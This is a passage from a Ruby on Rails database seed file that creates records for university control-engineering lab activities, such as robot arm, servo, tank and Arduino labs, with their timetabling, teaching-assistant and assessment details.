a348.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a348.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a349 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 5)\n at349 = ActivityTimetable.where(activity_id: a349.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a349.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a349.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a349.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a349.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n\n\n a350 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS337\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at350 = ActivityTimetable.where(activity_id: a350.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a350.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a350.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a350.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a350.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a351 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6329\").first.id, code: \"218\").first_or_create!(name: \"Quanser 2DOF Robot\",\n name_abrv: \"2-DOF Robot\", archived: true, in_drive: false, user_id: 1)\n at351 = ActivityTimetable.where(activity_id: a351.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a351.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a351.id).first_or_create!(criteria: \"You will need knowledge of servos and servo control and basic robot kinematics\",\n job_desc:\"A robot control lab. This lab involves controlling a closed-kinematic chain 2-DOF robot.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a351.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a351.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a352 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"219\").first_or_create!(name: \"Random Signals and Stochastic Systems\",\n name_abrv: \"SS-Stochastic\", archived: false, in_drive: false, user_id: 3)\n at352 = ActivityTimetable.where(activity_id: a352.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a352.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a352.id).first_or_create!(criteria: \"Must have a an understanding of the concepts of white noise, and how the power spectral densities at the input and output of an LTI system, and its cross-power spectral density, can be used to calculate the frequency response of the system in question.\",\n job_desc:\"During this session, the students will investigate the characteristics of white noise, and investigate how white noise can be used to find the frequency response characteristics of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a352.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a352.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a353 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"220\").first_or_create!(name: \"Robot Arm Assembly and Actuation\",\n name_abrv: \"Robot - Assembly\", archived: false, in_drive: false, user_id: 1)\n at353 = ActivityTimetable.where(activity_id: a353.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a353.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a353.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this laboratory session, the students will construct a simple robotic arm, and use an Arduino to control the joint servos in open loop.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a353.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a353.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a354 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"221\").first_or_create!(name: \"Robot Arm Control\",\n name_abrv: \"Robot - Control\", archived: false, in_drive: false, user_id: 2)\n at354 = ActivityTimetable.where(activity_id: a354.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a354.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a354.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aim of this practical session is to understand the basics of robot arm motion designing by actuating the formerly assembled robot arm for grasping and trajectory following performances.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a354.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a354.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a355 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Servo-S\", archived: true, in_drive: false, user_id: 5)\n at355 = ActivityTimetable.where(activity_id: a355.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a355.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a355.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a355.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a355.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a356 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"222\").first_or_create!(name: \"Servo System Compensator Design\",\n name_abrv: \"Discrete S\", archived: false, in_drive: false, user_id: 1)\n at356 = ActivityTimetable.where(activity_id: a356.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a356.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a356.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involved the design of three compensatory for a control system, and evaluating their performance on a hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a356.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a356.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a357 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"223\").first_or_create!(name: \"Tank Level System - Modelling and Analysis\",\n name_abrv: \"TANKS\", archived: false, in_drive: false, user_id: 5)\n at357 = ActivityTimetable.where(activity_id: a357.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 18, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a357.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a357.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves developing a 1st order model of a fluid tank level system, from time domain equations. In the laboratory, they will parameterise the experimental system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a357.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a357.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a358 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 2)\n at358 = ActivityTimetable.where(activity_id: a358.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a358.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a358.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a358.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a358.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a359 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"224\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: false, in_drive: false, user_id: 5)\n at359 = ActivityTimetable.where(activity_id: a359.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a359.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a359.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a359.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a359.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a359.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a360 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"225\").first_or_create!(name: \"Time Domain Analysis of a Mass Spring Damping System\",\n name_abrv: \"MSD1\", archived: false, in_drive: false, user_id: 3)\n at360 = ActivityTimetable.where(activity_id: a360.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a360.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a360.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a360.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a360.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a361 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"226\").first_or_create!(name: \"Time Domain Analysis of a Servo System\",\n name_abrv: \"Time Servo\", archived: false, in_drive: false, user_id: 1)\n at361 = ActivityTimetable.where(activity_id: a361.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a361.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a361.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a361.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a361.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a362 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"227\").first_or_create!(name: \"TSC - Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: false, in_drive: false, user_id: 5)\n at362 = ActivityTimetable.where(activity_id: a362.id).first_or_create!(duration: 180, kit_prep_time: 120, min_week_num: 9, max_week_num: 12, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 42, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a362.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a362.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a362.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a362.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a362.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a363 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"227\").first_or_create!(name: \"TSC: Tanks Modelling and Control Design\",\n name_abrv: \"TSC Software\", archived: true, in_drive: false, user_id: 4)\n at363 = ActivityTimetable.where(activity_id: a363.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 45, takedown_time: 45, notes: \"\",\n capacity: 190, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a363.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a363.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is a computer room simulation of a chemical process plant. The laboratory consists of modelling and linearisation of a process control system, design and performance analysis of a PI controller.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a363.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a363.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a365 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"228\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: false, in_drive: false, user_id: 4)\n at365 = ActivityTimetable.where(activity_id: a365.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a365.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a365.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a365.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a365.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n\n\n a366 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 2)\n at366 = ActivityTimetable.where(activity_id: a366.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a366.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a366.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this practical session, the students will generate a Bluetooth communications link between an Arduino device and a remote computer, to read and process remote sensor data.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a366.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a366.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a367 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"229\").first_or_create!(name: \"Wireless Control of an Arduino Based system, using a Bluetooth Interface\",\n name_abrv: \"Ard Wire\", archived: false, in_drive: false, user_id: 3)\n at367 = ActivityTimetable.where(activity_id: a367.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a367.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a367.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a367.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a367.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a368 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"230\").first_or_create!(name: \"RCL Circuit: Dynamics Laboratory\",\n name_abrv: \"RCL\", archived: false, in_drive: false, user_id: 5)\n at368 = ActivityTimetable.where(activity_id: a368.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a368.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a368.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a368.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a368.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: 